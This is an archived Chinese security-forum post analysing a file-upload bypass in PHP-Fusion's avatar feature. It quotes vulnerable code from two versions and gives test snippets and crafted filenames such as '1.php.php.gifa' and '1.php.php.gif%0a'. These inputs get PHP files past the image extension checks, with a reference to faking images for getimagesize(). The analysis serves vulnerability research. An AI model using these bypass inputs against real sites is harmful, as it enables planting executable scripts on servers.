邪恶八进制信息安全团队技术讨论组's Archiver

eviloctal 2007-6-10 04:47

[转载]php-fusion的一个Xday分析

文章作者:HeiGe (hack-520_at_163.com)

php-fusion的一个Xday分析

by Superhei@ph4nt0m
2007-04-15
[url]http://www.ph4nt0m.org[/url]

includes/update_profile_include.php

  ...
  $newavatar = $_FILES['user_avatar'];
  if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
    if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar[&#39;name&#39;]) && $newavatar[&#39;size&#39;] <= 30720) {
              $avatarext = strrchr($newavatar[&#39;name&#39;],".");
      if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
        $avatarname = substr($newavatar[&#39;name&#39;], 0, strrpos($newavatar[&#39;name&#39;], "."));
        $avatarname = $avatarname."[".$userdata[&#39;user_id&#39;]."]".$avatarext;
        $set_avatar = "user_avatar=&#39;$avatarname&#39;, ";
        move_uploaded_file($newavatar[&#39;tmp_name&#39;], IMAGES."avatars/".$avatarname);
        chmod(IMAGES."avatars/".$avatarname,0644);
        if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
          if ($size[&#39;0&#39;] > 100 || $size[&#39;1&#39;] > 100) {
            unlink(IMAGES."avatars/".$avatarname);
            $set_avatar = "";
          }
        } else {
          unlink(IMAGES."avatars/".$avatarname);
          $set_avatar = "";

判断的伪代码:
<?
$newavatar[&#39;name&#39;]= $_GET[a]; //提交 a=1.php.php.gifa
print preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar[&#39;name&#39;]); //名字里可以有.
$avatarext = strrchr($newavatar[&#39;name&#39;],".");//取后缀
print eregi(".gif", $avatarext); //只要后缀里包含有.gif就ok了 那么我们可以提交1.php.php.gif

$avatarname = substr($newavatar[&#39;name&#39;], 0, strrpos($newavatar[&#39;name&#39;], "."));取最文件名的前面的部分
$avatarname = $avatarname."[".$userdata[&#39;user_id&#39;]."]".$avatarext;
$set_avatar = "user_avatar=&#39;$avatarname&#39;, ";
print $avatarname; //1.php.php.gifa==>1.php.php[id号].gifa
//move_uploaded_file($newavatar[&#39;tmp_name&#39;], IMAGES."avatars/".$avatarname);

在apache下是可以利用了[1],那么下面的getimagesize()的判断:
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
  if ($size[&#39;0&#39;] > 100 || $size[&#39;1&#39;] > 100) {
//可以利用关于paas getimagesize()的帖子构造图片 [2]

当时我是在官方下的v6.00.305测试的,不过无意中在milw0rm上已经有人发过了[3]。 :(

于是又到官方逛,在一个角落里发现了新点的版本:v6.01.10的Code:
........
  if ($userdata[&#39;user_avatar&#39;] == "" && !empty($newavatar[&#39;name&#39;]) && is_uploaded_file($newavatar[&#39;tmp_name&#39;])) {
    $avatarext = strrchr($newavatar[&#39;name&#39;],".");
    $avatarname = substr($newavatar[&#39;name&#39;], 0, strrpos($newavatar[&#39;name&#39;], "."));
    if (preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname) && preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) && $newavatar[&#39;size&#39;] <= 30720) {
      $avatarname = $avatarname."[".$userdata[&#39;user_id&#39;]."]".$avatarext;
      $set_avatar = "user_avatar=&#39;$avatarname&#39;, ";
      move_uploaded_file($newavatar[&#39;tmp_name&#39;], IMAGES."avatars/".$avatarname);
      chmod(IMAGES."avatars/".$avatarname,0644);
      if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
        if ($size[&#39;0&#39;] > 100 || $size[&#39;1&#39;] > 100) {
          unlink(IMAGES."avatars/".$avatarname);

........
判断的伪代码:
<?
$newavatar[&#39;name&#39;]= $_GET[a];
$avatarext = strrchr($newavatar[&#39;name&#39;],".");
$avatarname = substr($newavatar[&#39;name&#39;], 0, strrpos($newavatar[&#39;name&#39;], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)."<br>"; //提取后缀的部分不可以有. [不可以提交1.php.gif这样的类型]
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

没戏了~~~

一些sy的思考:
如果preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)没有过滤.的话 是不是还有机会呢? code:
<?
$newavatar[&#39;name&#39;]= $_GET[a];
$avatarext = strrchr($newavatar[&#39;name&#39;],".");
$avatarname = substr($newavatar[&#39;name&#39;], 0, strrpos($newavatar[&#39;name&#39;], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname)."<br>"; //我们使用v6.00.305的正则.
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

我们提交?a=1.php.php.gifa时
preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname) ===>1
preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) ===>0
失败了,不过如果你看过se大牛的blog [4] ,preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)这个还是可以过的:
提交?a=1.php.php.gif%0a就可以绕过了,但是在
move_uploaded_file($newavatar[&#39;tmp_name&#39;], IMAGES."avatars/".$avatarname);
win下是文件名1.php.php.gif\x0a 是不合法的,但是在*nix下是可以的 :).



参考:
[1]<系统特性与web安全>:[url]http://www.4ngel.net/article/63.htm[/url]
[2]<Bypass getimagesize()>:[url]http://my.opera.com/pstgroup/blog/tips-bypass-getimagesize[/url]
[3]http://www.milw0rm.com/exploits/1760
[4]http://blog.php-security.org/archives/76-Holes-in-most-preg_match-filters.html

页: [1]
© 1999-2008 EvilOctal Security Team